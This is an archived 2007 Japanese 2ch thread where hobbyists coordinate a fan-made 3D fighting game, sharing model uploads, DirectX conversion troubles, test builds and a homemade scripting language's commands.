714 :名前は開発中のものです。:2007/01/31(水) 14:47:00 ID:LtkHhBJz
>>712
あなたライトんとこの絵師かえ?

715 :名前は開発中のものです。:2007/01/31(水) 14:52:28 ID:LtkHhBJz
>>712
【追記】今見たらIDカッコよさげだな。

716 : ◆pBwYa/I7TY :2007/01/31(水) 15:50:32 ID:h3BBBt3E
>>711
ゴメン、解らなかった。
http://gamdev.org/up/img/8772.zip
上書き保存して、起動して出来たdebug.txtの内容をおしえてー

>>714
うん。
かっこいいな!

717 :名前は開発中のものです。:2007/01/31(水) 17:17:55 ID:w14PU8OW
き…危険な香りがする。
掛け持ちはかまわんと思うけど、どっちも疎かにするの、ナシな。

718 : ◆pBwYa/I7TY :2007/01/31(水) 17:37:16 ID:h3BBBt3E
考えがちょっと違う。
自分はどちらも辞めるつもりも無いし過疎にするつもりも無い。
むしろ、自分で自分の逃げ場をなくしているだけですよ。
まあ、毎日プログラムと絵はかいてたので、どちらもかく目的が出来た感じ。
これで2ch漬けに…!!

719 :名前は開発中のものです。:2007/01/31(水) 17:38:27 ID:2dZWaHc/
きも

720 :名前は開発中のものです。:2007/01/31(水) 18:22:53 ID:+vBNbWXs
age

721 :名前は開発中のものです。:2007/01/31(水) 19:40:56 ID:WbpDldoh
Athlon1GHz
512MB
GeForceTi4200

スキンメッシュ勉強した事は無いが、
大体5人くらいで殺意が芽生え、5人以上の人数に比例して殺意が増加していった。
12人くらいになると60FPSきり始めるようになった。

722 :名前は開発中のものです。:2007/01/31(水) 20:00:48 ID:q9MFm8HZ
モーションブレンドしてねーのか

723 :名前は開発中のものです。:2007/01/31(水) 20:17:03 ID:7fDhAi8j
ちょっとまた混乱してきてるので整理させてください。

3Dモデルを製作しているのは モツ鍋氏
最初にプログラマーとして名乗り出た622氏が◆pBwYa/I7TY氏って事ですよね?

次にプログラマーとして名乗り出た(職業プログラマ?)671氏は・・・?
次にプログラマーとして名乗り出た(書籍を買ってきて勉強中?)674氏は・・・?

724 :名前は開発中のものです。:2007/01/31(水) 20:35:24 ID:2TN0j9ro
>>716
どうも調子悪かったからOS入れなおしたら動いた。
そしてかつてない殺意の波動w


あとコテは名前コテにしてくれ

725 :名前は開発中のものです。:2007/01/31(水) 23:18:16 ID:aYhT7e98
そういえば◆57U1O5h1BM氏はどこに行ったんでしょう?
プログラムも自力でやるって言ってたし1人で作っているのかな?

それとも・・・今の流れにまぎれてたりするのかな

726 : ◆57U1O5h1BM :2007/01/31(水) 23:32:05 ID:idpi7v6e
いるよ〜、普通に見てたー。
とりあえずこちらはまた一から作り直してるところです。
なんにもできないけど一応やっている証明ってことでうpしとく。

http://gamdev.org/up/img/8781.zip

ちなみに拡大処理とか、キャラ表示とかスクリプト側で処理してます。
ちょいと変更して、ASConverter.exeに投げると改造できます、
といっても現状なんにもできないといっていいけど(汗)

727 :名前は開発中のものです。:2007/02/01(木) 00:01:05 ID:W7aMi3tn
なんでずっとアップし続けるwww

728 : ◆57U1O5h1BM :2007/02/01(木) 00:06:35 ID:CLXoeM0x
OpenGLとSoftwareとQVGAとVGAの描画切り替えのテストをしてて、
拡大縮小のテストをやってた。
一応Zaurusとかで動くように意識して作ってる。
できればSDLも移植されてるしPSPで動くようにしたいなぁと。
まぁ、肝心のPSP持ってないけどw

729 :名前は開発中のものです。:2007/02/01(木) 02:13:29 ID:3Q/yulgc
>>711
ウイルスの悪寒
なんかそういう報告あると怖いな

730 :名前は開発中のものです。:2007/02/01(木) 10:35:45 ID:JeObk8Ju
ここでは前例があるし疑うのは仕方がないと思うが
こういう発言が製作者のやる気を減退させるという
事も覚えておいた方がいいと思うぞ

731 :671:2007/02/01(木) 10:54:41 ID:xgZQWwmm
ごめん
定期的に見に来るつもりだけど
新規プロジェクトの立ち上げが入ったので手伝えないかも

>◆pBwYa/I7TY
列挙オブジェクトの取得に失敗してるって言ってるみたいだけど
Resourceが外部ファイルなんじゃないかな?
モデルやメッシュが参照できてないのだと思うけど

>◆57U1O5h1BM
スクリプトのリファレンスとかあると嬉しいです

とりあえずウィルスの危険性は人柱制度という感じもあるけど
できればSourceで公開してもらえたほうが安全だし、
バグがあればここらがおかしくない?
くらいにはアドバイスも出来るんかと思うけど…
まず完成を期待!

732 :671:2007/02/01(木) 11:01:16 ID:xgZQWwmm
>◆pBwYa/I7TY
と思ったら上書きしなくちゃだったねスマソ
家ではちゃんと動いてますv
10人くらいで60fpsを保てなくなるくらい
Athron2500+
RADEON9000

>◆57U1O5h1BM
57fpsで固定されているような気がします

733 :名前は開発中のものです。:2007/02/01(木) 14:06:51 ID:7oex6Eho
久し振りに見たが凄い進んでて驚いた。
ホント応援してます

734 :シチミ ◆pBwYa/I7TY :2007/02/01(木) 16:35:52 ID:nJO6ENXP
実を言うと、漫画オンリーでアニメ見たことと無いから何なのかさっぱりだけど…(ググったよ)

きもって言われてちょっとショック受けてた。
ウィルスってどうやってつくるのー?ってな人なのでウィルスではないよー一応だけど。

大体10体前後で落ちるみたいね。もちろんFPSが。
tinyたん1体で大体6000ポリゴンだから…60000ポリくらいかー。
モツさん、参考までに。

モーションブレンドってどうやるのー?っておいといて。
ひとつのモーションしかないしとりあえず表示だけって思ってたんでやってません。
DirectX8って自分で組まないといけないし…。
VC++6.0をバージョンアップさせればいいんだろうけどね…カネネー

>>671さん
残念です。でも、いつでも待ってます。数学苦手なので。

>>◆57U1O5h1BMさん
Zaurusって!!?…頑張ってください。


735 :朝倉和美 ◆ecegNbNqok :2007/02/01(木) 18:02:24 ID:xXDk6hhy
679改め朝倉和美ってことでよろしく
やっぱりなかなか難しいね〜

でも必ず扱えるようになって帰ってくるからね
それまで頑張っててくださいな

736 :名前は開発中のものです。:2007/02/01(木) 19:35:02 ID:b9hVjXq9
そう言えば・・・モツ鍋氏は?モーション作成に手間取っているのかな?

あと今後メインキャラを作成していく事になると思うのですが、キャラの頭身
はどの位を予定しているんでしょう?前にフィギュメイトの様なものをって発
言があった気もするのですが、どうなんでしょう?
フィギュメイト的なモノなら基本データを作成してもらってデータを公開して
おけば、あらたな参加者も出てきてくれたりするかもしれませんね。コスプレ
とかもアイディアとして上がっていたし、その辺をゲームのシステムに採用す
るのであればやっぱりこのサイズが良いのかもしれませんねw

737 :モツ ◆HhGCy3jtaE :2007/02/01(木) 21:08:25 ID:1UD+7Cwt
ウェイトとボーンを設定したので、明日もしくは明後日にはファイルをUP出来ると思う
http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0111.jpg
上はライトの効果を消し、環境光のみでレンダリングしたもの
実際に使う場合もライトの効果は弱めた方がいいかもしれない

テクスチャ作成の半自動化を試み、逆に手間取ってしまったが
結果はなかなかに良好だったので、2番目のキャラ作成時にスピードアップが期待できそうだ

また、現状ではサンプルゲームを起動出来る状態に無いので、後にダウンロードしたいと思う
検証に協力して下さった方々に感謝します

平日はどう頑張っても、少数のレス、作業も1アクション程度が限界
毎日の点呼は無理があるのでその辺りをまずは了承して頂きたい

738 :朝倉和美 ◆ecegNbNqok :2007/02/01(木) 21:33:30 ID:xXDk6hhy
>>737 モツ氏、ご苦労様です。
その画像・・・モツ良く出来てますね
早く習得できるように一日の勉強量を増やしますよ
増やすしかないでしょうw
皆さんの頑張りにも答えなければなりませんしねww

739 :名前は開発中のものです。:2007/02/01(木) 21:36:28 ID:b9hVjXq9
>>モツ鍋氏
お疲れ様です。モツ良いですねぇ〜。角度の所為かもしれませんが頭の尖り
が微妙に気になったり、下半身(?)のふっくら感が微妙に足りないような
気もしますが・・・個人的な好みの問題かもしれませんね。

あと場違いかもしれませんが、やっぱり何かお手伝いしてみたいなぁ〜と思
ったのですが3D系のソフトは持ってないんです。お手伝いに参加するとし
たらどの辺のソフトがお勧めだったりしますか?

740 :モツ ◆HhGCy3jtaE :2007/02/01(木) 21:42:39 ID:1UD+7Cwt
>>728
企画の合体は出来ないだろうか?
スタッフは多い方がいいし、素材も使い回せて無駄がないと思う
もし良かったら考えてみて欲しい

>>731-732
協力感謝します

>>734
これだけ建設的な意見を出しているスタッフを疑う気は無いのでご安心を

1体6000ポリゴン使えるなら、PS2と同程度のモデルが作成出来るのでありがたい
だが、動作させる為の最低スペックは依然として不確定な気がする
ある程度の足切りは必要だとは思うが、どの位のボリュームにするか決めてから
本製作に入る前に決めておきたいところ

>>735
がんばってほしい、応援している
ところで、ここの参加者はネギまキャラの名前を名乗るというのも面白いな
端から見ると可笑しくも痛々しくあるといった所かもしれないが
なんとなく、チームワークはありそうな気がする

741 :通行人A:2007/02/01(木) 22:01:31 ID:YLDM/xL2
するってーと、ROMな俺はこんな感じ?

742 :モツ ◆HhGCy3jtaE :2007/02/01(木) 22:14:04 ID:1UD+7Cwt
>>736
キャラの頭身は好みではなく、仕様によって決めて行こうと思う
ローポリゴンで作って行くならディフォルメは強くなり
ハイポリゴンが可能なら、それなりにリアルな頭身に出来るだろう

また、フィギメイトの件だが
頭のみ作り替えるならタッチの差はあまり関係がないが
結局の所、キャラごとの衣装を作り替えなければならない為
あまり利点は無いかもしれない
「登場キャラは全員水着や制服のみ」という設定なら話は変わるが

それと基本データの公開はスタッフのみにしたい
企画に賛同して尽力して下さった方には、企画以外の他データ提供にも応じて報いたいと思う

>>739
長時間見ていると、多少歪んでいても気にならなくなる場合がある
意見はありがたく参考にさせて頂きます
ただ、ゲーム内でのカメラ画角によってはまた修正がいるかもしれないので
調整はその時にしようと思う

また、ソフト選びは資金と英語がどの程度堪能かによって決めると良いかもしれない
入門用で選ぶなら「メタセコイア」「六角大王SUPER」あたりが有名
http://3dcg.homeip.net/3d_products/free_shareware/
とりあえず上記を参照し、ソフトを入手してチュートリアルを済ませれば
今回の「モツ」程度なら難なく作れるだろう

本気で3Dを極めたいなら、まずはMayaか3ds maxの体験版を手に入れてみる事を勧める

>>741
無理に名乗る必要もないと思うが
とりあえず固有の名前でないと混乱しそうだ

743 :シチミ ◆pBwYa/I7TY :2007/02/01(木) 22:22:50 ID:+VonYbyR
>>736
自分的にはこのぐらいのサイズがhttp://gamdev.org/up/img/8792.jpg…って>>736あらら。
まあ、戯言なので。

確かにスマブラ系なら頭身無くていいと思う。スピーディーにするためにポリゴン削ったりすると
頭身削らないといけなくなるかもしれないしね…。

背景をポリにしないならもうちょっとキャラに使えそう…地面とかはポリで背景は絵とかで。

モツさんがんばってー。コレしか言ってないきがしますが…
とりあえず、アレはゲームというよりテストみたいな物ですから…。
これから作りこんでいきます。

なら、絵なんて描いてるなって?
…ゴメンナサイ。

744 :名前は開発中のものです。:2007/02/01(木) 22:58:48 ID:5DgoEWD/
ドット絵って簡単に習得できる?
反対意見が多いMUGENキャラを作ってみたいんだけど

745 :朝倉和美 ◆ecegNbNqok :2007/02/01(木) 23:02:14 ID:fpDGjvi0
>>742 時間を割いて貰いながらもカキコして下さっているあたりありがたいですよ
まだ自分はスタッフとして認識されていないと思うので
モツ鍋氏が私をスタッフとして認識してくださっているのであれば
どのようなデータか見てみたい気もします
C++にはある程度慣れてきたので「訳ワカンネ」にはならないかと

クリエイタを目指す私にとってとてつもなく見てみたいシロモノですがw

>>743
なかなかに巧い・・・
私もたま〜に絵を描いたりしますがシチミ氏、なかなか巧いレベルですよ

746 :名前は開発中のものです。:2007/02/01(木) 23:03:03 ID:pQFxqqQ+
>>744
新プロジェクトの旗揚げだ!!

747 :名前は開発中のものです。:2007/02/01(木) 23:34:37 ID:5DgoEWD/
>>746
いっとくけどまだ無知だぞ
ドット絵のドもしらないどころか絵自体下手くそ

748 :名前は開発中のものです。:2007/02/02(金) 00:32:22 ID:uz1UzAKI
>>747
馬鹿やろう、こういうときはとりあえずハッタリかましとけば良いんだよ。

749 :名前は開発中のものです。:2007/02/02(金) 00:36:14 ID:7Ws5TN16
こうして志半ばで朽ち果てる屍が積み上がっていくんだね。

750 :名前は開発中のものです。:2007/02/02(金) 00:38:53 ID:baZuTnhj
屍を踏み越えて人は生きていくものなのさ

751 :名前は開発中のものです。:2007/02/02(金) 01:02:33 ID:lfI+6f1X
>>744
普通の画力があれば、あっという間
画力自体が無いなら、まずはそっちが先

752 :名前は開発中のものです。:2007/02/02(金) 01:10:43 ID:v5HHUADb
屍に足をとられるのが2chなのさ。

753 :名前は開発中のものです。:2007/02/02(金) 01:23:40 ID:68DmXCXI
現状。
ttp://zipdekure.net/img/src/up3036.jpg

754 :シチミ ◆pBwYa/I7TY :2007/02/02(金) 16:32:54 ID:5Bt/JIT1
モツさん、参考までに。
http://www.nomuraz.com/denpa/prog004.htm#IDPROG0020

755 : ◆57U1O5h1BM :2007/02/02(金) 22:15:33 ID:IsH0C3F6
状況報告、とりあえずキー入力と当たり判定実装。
スクリプトリファレンスも同封しときました。
まだ食らい判定とかダメージ関係ないです。

http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0112.zip


>>740
いいですよー、そのほうがモチベーションもあがると思います。
手伝える事、協力できるような事があればいつでもいってくださいな。

756 :名前は開発中のものです。:2007/02/02(金) 23:03:51 ID:7DTkS1/k
>>755
前回UPされていたものもそうだったのですが、プログラムを実行し動作を
確認後ファイルを削除しようとしても削除できないのですが何故でしょう?
再起動後にはフォルダごと削除できるようになるのですが・・・

757 :名前は開発中のものです。:2007/02/02(金) 23:35:34 ID:+gcUN3yy
fclose忘れてたりとか?

758 :モツ ◆HhGCy3jtaE :2007/02/03(土) 00:29:46 ID:3PGJRwGa
>>754
スタッフと認める認めない云々は自分に決める権利など無いよ
どこの製作スレでも偶然居合わせた住人が、現物や能力を持ち寄って作っている
自分自身の判断で、スレや企画にとって良いと思う方法で行動すればいいと思う
名無し、スタッフに関係なく、基本的に序列や上下は無い訳だし

それと真面目に勉強したいなら、現職のクリエイターのサイトを一巡した方がためになると思う
こちらは専門的な教育を受けてきた訳でもなくプロでもないから、指導したり道標になる事は出来ないよ

>>753
がんばれ

>>754
サイトの紹介ありがとう
今作っているモデルはサイトの推奨するものに近いので恐らく問題は無いと思う
微調整はいるかもしれないが

UPされた絵も拝見したが5頭身くらいだろうか?
あのバランスが好みなら次回のモデルは絵を元に作ろうか?

>>755
ありがとう
こちらも手伝える事があれば遠慮なく言って欲しい
とりあえずはモデルの検証等に力を貸して頂けると助かる

759 :739:2007/02/03(土) 00:37:02 ID:RXhiMLRl
>>モツ鍋氏
製作ソフトの助言ありがとうございます。とりあえず「メタセコイア」の
無料版で遊んでいます。つか・・・ホント難しいです;;;色々と調べて木偶人
形は組めました。そこからチマチマいぢりながらなんとなくの形を作って
はみているのですが、よく判らない所が結構ありまして。

もし可能ならどこか他所でお話したり出来ませんか?
ココで3Dモデルの作り方の会話をはじめちゃうのもなんなんで;;;

760 :シチミ ◆pBwYa/I7TY :2007/02/03(土) 02:14:31 ID:Nj6YE43i
>>758
おおー、良かったです。
まあ、調べたらコンバートするプログラム自分で作る必要があるかもしれませんが。
実は、自分がそのサイトあんまり詳しく読んでなかったり…。
や!プログラムの方は読んでるんよ。
キャラの大きさはモツさんの作りやすいのでいいですよー。
大きさの話が出たので描きたくなっただけw…でも、試しに程度で…(小声)

>>朝倉さん
C++はクラスの継承辺りを理解できれば自分と同レベルくらいです。
最低ポインタを使い尽くせれば大丈夫だと思います。

問題はDirectXと高校生レベルの数学です。
まあ、ツール作ってくださればありがたいです。メインでもいいけど。

って事で自分は3Dのスマブラっぽいゲームで行きたいと思う。
バリバリ妥協おkだけど。
同人であった月姫やROのキャラが出てくる奴。結構前かな?

ドット絵は職人技です。

761 :名前は開発中のものです。:2007/02/03(土) 11:21:53 ID:T3sJMZyD
>>756
うちの環境
WindowsXP
DirectX9.0c
ではそのような症状はとりあえず出ていません

固有の環境問題かフォルダを空けたまま消そうとしていたりはしませんか?
ttp://xp-delete.hp.infoseek.co.jp/tips.html
↑が役に立つかもしれません

762 :名前は開発中のものです。:2007/02/03(土) 11:33:48 ID:T3sJMZyD
スクリプトリファレンスを頂いたので
浮遊できるようにしてみました。
http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0113.zip
といっても↑Keyを押すと上に進むだけです^^:

変数定義とswitch〜caseが使用できるともう少し組み込めそうですね



763 : ◆57U1O5h1BM :2007/02/03(土) 13:04:54 ID:jkKqTpKu
>>756
こちらではその現象が起こっていないので恐らく固有の問題ですね。
プログラムが正常に終了できてないのかなぁ。

>>762
変数の定義はできるようにします。
今のところその代用としてVal( 要素番号, 格納数値 )
というように数字を格納してVal( 要素番号 )で呼び出すという形で再現できます。

764 : ◆57U1O5h1BM :2007/02/03(土) 13:57:12 ID:jkKqTpKu
×Val ○Varだった。

HitDirとPrintF命令の実装、
HitDirはヒットしてる方向を取得できる。
PrintFはコンソールに数値を出力してデバッグしやすいようにする。

HitDir使って一応ジャンプっぽいくしてみました。

http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0114.zip

765 : ◆57U1O5h1BM :2007/02/03(土) 14:05:58 ID:jkKqTpKu
対応するキーボードのボタン修正、
exeのみなので上書きしてください。
http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0115.zip

方向は
← = 1
↑ = 2
→ = 4
↓ = 8

入力(KeyInput)も同様です。

ボタンは
A = 16
B = 32
C = 64
D = 128

A と Bが押された場合は48がKeyInputで取得され
それぞれIfでAとBの処理をさせたい場合は

if( KeyInput() & 16 )
{
}
if( KeyInput() & 23 )
{
}

として=ではなく&でやってください。

766 : ◆57U1O5h1BM :2007/02/03(土) 14:10:21 ID:jkKqTpKu
# なにかキーが押された場合
のelse内に

printf( "キーが押されました[ %f ]\n", KeyInput() )

とすれば押されたときにコンソールに数値が表示されます。

キーボードとの対応状況は

ボタン = キーボード
A = A
B = Z
C = S
D = X

です。

767 :739:2007/02/03(土) 14:30:19 ID:fw64B8/n
「メタセコイア」を使って人型を作ってみました。自分は「フィギュメイト」
を所有していないのでサイトにある画像を見ながら作ってみたのですがバラン
ス的にどうでしょう?っていうかこんな作り方であってるんでしょうか?
なんか不安で;;;

http://gamdev.org/up/img/8806.jpg

768 :756:2007/02/03(土) 14:51:04 ID:fw64B8/n
>>766
フィイルが消せないのは自分だけなのかも;;;
今回のも実行させてみたのですがやっぱり同じ現象になってます。
フォルダは勿論閉めてありますしプログラムも終了してあるのですが
削除しようとすると「他の人またはプログラムによって使用されています」と表示が;;;
とりあえず再起動かけてきます

769 : ◆57U1O5h1BM :2007/02/03(土) 15:08:55 ID:jkKqTpKu
ファイルが消せないのはどのファイルでしょうか?
それがわかればなにかわかるかも。

770 :名前は開発中のものです。:2007/02/03(土) 16:08:49 ID:8lSad/XT
ウイルスに入られてるんじゃない?
とウイルスのせいにしてみる。ウイルス・スパイスキャンとかdirectX入れ直しとか…

771 : ◆57U1O5h1BM :2007/02/03(土) 16:13:28 ID:jkKqTpKu
PlayMusic
StopMusic
LoadSE
PlaySE
音関係の命令追加。

http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0116.zip

772 :モツ ◆HhGCy3jtaE :2007/02/03(土) 16:26:14 ID:3PGJRwGa
>>シチミ氏
>3Dのスマブラっぽいゲームで行きたいと思う。
了解です
こちらとしては自分の作ったキャラがゲーム内で不備無く動けばほぼ満足なので
ゲームの方向性などは作りやすさを優先して頂いて構わない

>>756
画像を拝見したが、4角ポリゴンを綺麗に揃えてあるし、シルエットを良くつかんでいると思う
動かすなら3角ポリゴンに変換する必要があるが、後で自動的に変換できるので
今の状態で進めて行けばいいと思う

モデリングの仕方は人によって異なるので、あまり気にしなくていい
最初から何らかの制限下で作るよりも自由に進めて完成させる方が重要
とにかく、初めて作ったとすればかなり有望なので頑張って欲しい

相談の件だが、ここ以外の場所を指定されても頻繁に通うのは難しい
メールアドレスをどこかで取得するので、何かあればそこへ送ってほしい
ただ、製作に直結した話題なら迷惑でもスレ違いでもないと思う

773 :モツ ◆HhGCy3jtaE :2007/02/03(土) 16:45:18 ID:3PGJRwGa
>>シチミ氏
重要な事を書き忘れてしまった

渡すファイルの事なのだが、「基本立ちポーズ」「歩く」「走る」「ジャンプ」を
作ったとして、それらは1つの.LWSファイルにまとめなければ不味いだろうか?
できるなら別々のシーンとして別けておきたいのだがどうだろう?

774 :通りすがり:2007/02/03(土) 18:55:56 ID:ZcggFdOg
ttp://xp-delete.hp.infoseek.co.jp/tips.html
XPで削除できないファイルを削除するTips集

775 :シチミ ◆pBwYa/I7TY :2007/02/03(土) 19:51:57 ID:44LV8pLX
>>773
別けても全然大丈夫。だと思う。
作りやすい方法で渡してー。
出来なきゃ勝手にこっちでやるし。お気になさらずに。


776 :朝倉和美 ◆ecegNbNqok :2007/02/03(土) 20:30:22 ID:TW6NjJ/C
質問です
隠し要素にラブひなキャラを入れようと影でこっそり企画しているわけですが

初期キャラごとに専用の変数を持たせて
ストーリークリア(例:古菲、夕映、明日菜、刹那クリア)でその専用の変数に1を代入した場合

キャラ変数○○の定められたキャラの変数の値が1以上で○○(例:超鈴音)選択可能
てな感じでFAですかね?


777 :モツ ◆HhGCy3jtaE :2007/02/03(土) 21:04:36 ID:3PGJRwGa
>>シチミ氏
基本立ちをupしたのでチェックを頼みます
同梱のムービーと同じように表示されなかったら修正するのでよろしく
ttp://gamdev.org/up/img/8808.zip

>>◆57U1O5h1BM氏
もし良かったら、◆57U1O5h1BM氏のゲームにも流用できそうか検討してほしい

問題ない様なら、残りのシーンファイルもUPしようと思う

778 : ◆57U1O5h1BM :2007/02/03(土) 21:52:38 ID:jkKqTpKu
それはかなり助かります、ぜひとも使わせていただきたいです。

779 :モツ ◆HhGCy3jtaE :2007/02/03(土) 22:12:29 ID:3PGJRwGa
>>776
そういえば、本製作時に誰から作るか決めていなかったな

現状は動作テストとしてのゲームを作っている状態なので
作業が支障無く進む様なら、企画や仕様を決めていきたい

>>778
まだ検証中のモデルなので、正直使い物になるか分らないのだが
組み込めそうならぜひ試してみてほしい

とりあえず両氏の検証を待ちながら、他の作業を進めようと思う

780 :名前は開発中のものです。:2007/02/04(日) 00:40:03 ID:yHLbzfsI
>>776
ゲーム作ったことないけど
プログラム的にはそれでOK。変数使いすぎて混乱しないようにね。紙か何かにメモっとくといいよ。

781 :シチミ ◆pBwYa/I7TY :2007/02/04(日) 00:46:26 ID:ldDR6YEy
モツさんお疲れ様です!
早速DLして変換…!!って思ったら上手くいきませんでした…orz
lws2xというDOSプログラムで試みたのですが上手くいきませんでした。
次にlwoだけでもXファイルに変換しようとメタセコで試みたのですが、
テクスチャーのおそらくUV値が上手く読めなかったみたいで、上手くいきませんでした。
申し訳ございません。

で、お手数とは思いますが、
DirectX ExportというLightWaveのプラグインで出力を試していただけないでしょうか?
モツさんLightWaveのバージョンは解りませんが、もし使えたら試していただければと思います。
http://www.dstorm.co.jp/products/plugin_j/object.htm

もし、解らなければ、
少しお時間をいただいた上で独自になんとか変換できるよう努力いたしますので、
余り深く考えずお答えいただければと思います。

かたっくるしい読みにくい文ですみません。

>>朝倉さん
自分なら素数使う。
でも、朝倉さんの方法が一般的だと思います。

782 :朝倉和美 ◆ecegNbNqok :2007/02/04(日) 01:05:14 ID:ebgX2VoF
シチミ氏、回答ありがとうございます
だんだん見えてきた気がします・・・私の作るべきものが

783 :名前は開発中のものです。:2007/02/04(日) 01:09:48 ID:yHLbzfsI
慣れてないとマルチスレッドがよくわからん

素数ってあの素数?
割れない数という意味しか知らない俺はヘタレだな。

784 :名前は開発中のものです。:2007/02/04(日) 01:59:14 ID:LGPpQD7e
それは俺にもわからん

785 :シチミ ◆pBwYa/I7TY :2007/02/04(日) 02:14:45 ID:ldDR6YEy
マルチスレッドは
_beginthreadを呼んで_endthreadで終了。

冗談はさておき、http://www.kumei.ne.jp/c_lang/index_sdk.html
ここを参考にどうぞ。

ゴメン、素数じゃない!
ビット演算だった、どうもスミマセン!!

786 :モツ ◆HhGCy3jtaE :2007/02/04(日) 03:04:10 ID:PMAmeTop
>>シチミ氏
例のプラグインを使用し、Xファイル同梱版をUPしたのでよろしく頼みます
http://gamdev.org/up/img/8817.zip

787 :朝倉和美 ◆ecegNbNqok :2007/02/04(日) 09:46:40 ID:fvy+8y90
>>785 シチミ氏わざわざスイマセン

788 :シチミ ◆pBwYa/I7TY :2007/02/04(日) 13:04:04 ID:CMhT4DbC
たびたびどうもスミマセン!
モツさんに作っていただいたXファイル、バイナリデータなのですが、
DirectX8.1では読み込めない場合があるのです。

調べました。出来ればでよろしいのですが、テキストデータで出力をお願いできないでしょうか?

789 :シチミ ◆pBwYa/I7TY :2007/02/04(日) 17:56:58 ID:CMhT4DbC
スミマセン。
ttp://gamdev.org/up/img/8822.zip
LightWaveの体験版で対応できました。勝手なデータ変更してしまい申し訳ございません。

アルファーのテクスチャーが上手く表現されていません。
おそらくプログラム側の問題だと思います。
出来たら改良したいと思います。

モツさんありがとうございました。いろいろと申し訳ございませんでした。
ようやく一区切りついた気がします。
これからが本番だと思います。

お互い頑張っていきましょう!!

790 :モツ ◆HhGCy3jtaE :2007/02/04(日) 21:54:32 ID:PMAmeTop
>>シチミ氏
ご苦労様です
バイナリは開けないとは知らず、余計な手間を取らせてしまった事をお詫びする
テキスト出力もできるので、次回はそちらを選んで出力しようと思う

プログラムを開いてみたが、やはりアルファ抜きがうまくいっていない様だ
アルファ抜きの場合にありがちな、白黒の反転を逆に指定してしまう状態等では無く
全く動作していないと言っていい

ローポリゴンでモデリングするなら、通常アルファ抜きは必要不可欠だが
使用出来るポリゴン数が予想していたよりも多く使えそうなので
アルファ抜きが使えなくてもこちらとしては問題ない
深刻に考えずに気楽にいてもらって構わないよ

また、動作チェックに使用したマシンは
sel2.8G、約500Mのメーカー製PCだったが、60FPS固定で問題は無い様だ
参考までに

>モツさんありがとうございました。いろいろと申し訳ございませんでした。
本来なら二日で終わるはずだった動作チェックに、こちらの都合で1週間も待たせしてしまい
こちらこそ申し訳ない
ただ、今回の事で大体の作業工程はつかめたので、これから先の製作に活かす事で報いたいと思う

これからも宜しくお願いします

791 :モツ ◆HhGCy3jtaE :2007/02/04(日) 22:06:45 ID:PMAmeTop
>>739
遅れてしまってすまない、連絡はこちらへ
motu#nabe#3d!yahoo#co#jp(#を削除、!を@に変換)

792 :739:2007/02/05(月) 00:24:39 ID:UHN+F3p9
アク禁のとばっちりでカキコできませんでした。

http://gamdev.org/up/img/8818.jpg

とりあえず人型をいじってネギっぽくしてみました。テクスチャーとかボーン
とかまったく考えずに作ってるんですが、使えるようなモノになるんでしょう
かね???不安w

>>シチミ氏
DLさせて頂きました。モツ・・・可愛らしく動いておりますw
出来れば次は「カメラワーク」などを入れて頂けたらなぁ〜と思っています。
画面上にモツA(プレイヤー側)とモツB(仮想敵)を配置し、キャラ同士の
距離によって変わるような感じとか、ボタンを押すとモツAにカメラが寄るよ
うな感じ(必殺技使用時を意識した感じ?)とかどうでしょう?

http://gamdev.org/up/img/8830.jpg

とりあえず服も着させてみました。テクスチャとかボーンとかまだまだ先は
長そうです。勉強せにゃ;;;

793 :名前は開発中のものです。:2007/02/05(月) 01:13:41 ID:UHt/lh0J
すげぇここまで職人しか書き込んでねぇwww
がんばれwww

794 :ダル痴。:2007/02/05(月) 20:10:19 ID:zTJWwLHv
何か手伝いましょうか。

795 :名前は開発中のものです。:2007/02/05(月) 21:03:41 ID:w7pLhr97
いりません

796 :モツ ◆HhGCy3jtaE :2007/02/05(月) 21:21:25 ID:PSL3ONH8
>>792
メールにも書き込んだが、目標がフィギュメイトなら問題は無いよ
大きく逸脱している様な所は見当たらない

人物にテクスチャを貼る時は、ほぼ全ての3Dソフトが採用している
「UV」方式のマッピングを選択しする事になると思う
その事についてもメールに記したアドレスへ行って学べば問題ない

また、メタセコイア単体ではボーンを扱えないので
「Mikoto」という補助ソフトを使う事になる
ボーンについて気になるなら調べてみるといいだろう

マシンパワーの底上げが進んで3Dも気軽に試せる時代になったが
手順など習熟するにはそれなりに時間が掛かるだろう
あまり気負わず気楽に進めるといいと思う

797 :モツ ◆HhGCy3jtaE :2007/02/05(月) 21:41:55 ID:PSL3ONH8
本製作に入りたいが未だ漠然としているので何らかの指針が欲しい
仕様の一歩手前位のおおまかな設計図を決めて行こうと思うがどうだろう?

798 : ◆57U1O5h1BM :2007/02/05(月) 21:45:14 ID:dxIXTN3G
命令追加ー、

Color
カラーを調整します

AutoView
自動でビュー位置や拡大縮小をするかどうかを指定します

Arg
渡された引数を返します

Repeat
指定回数{}内を繰り返します

Cnt
Repeat内で何回ループしたかを返します

http://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0117.zip

799 : ◆57U1O5h1BM :2007/02/05(月) 21:55:16 ID:dxIXTN3G
>>モツ
あのモデルデータからアニメーションを画像データに起こす方法がわからないんで
まだ取り込んでないんですが、どうやればいいんですかね(汗)

800 :モツ ◆HhGCy3jtaE :2007/02/05(月) 22:06:38 ID:PSL3ONH8
>>799
2DデータでないのでDirectX関連、特に3D方面の知識が必要になるかもしれない
もっとも、自分には専門外なのでよく分からないが

必要なサイズや形式を教えてもらえれば、モデルを2DデータにしてUPするがどうだろう?

801 : ◆57U1O5h1BM :2007/02/05(月) 22:12:24 ID:dxIXTN3G
なにかモーションビューアか何かでキャプチャーすればできそうかも。

とりあえずサイズはやってみて調整してみたいので
「100 * 100」のpngでお願いします。

802 :モツ ◆HhGCy3jtaE :2007/02/05(月) 22:42:22 ID:PSL3ONH8
了解です
ビューワで挑戦するならDirectX Export for LightWave3Dに付属のビューワがいいかもしれない

803 :739:鴨ネギ ◆ZIgwiw50Hk :2007/02/05(月) 22:44:10 ID:UHN+F3p9
>>モツ鍋氏

メルありがとうございました。教えていただいたサイトを参考にテクスチャー
に挑戦しようと思ったのですが、どうやら無料版では無理っぽいです;;;
ボーンに関しては自分も一応調べてみました。とりあえずボーンはテクスチャ
ーが貼れてから考えようかなと思ってます。

ゲームシステムに関しては早めに決めた方が良さそうな気もしますが、キャラ
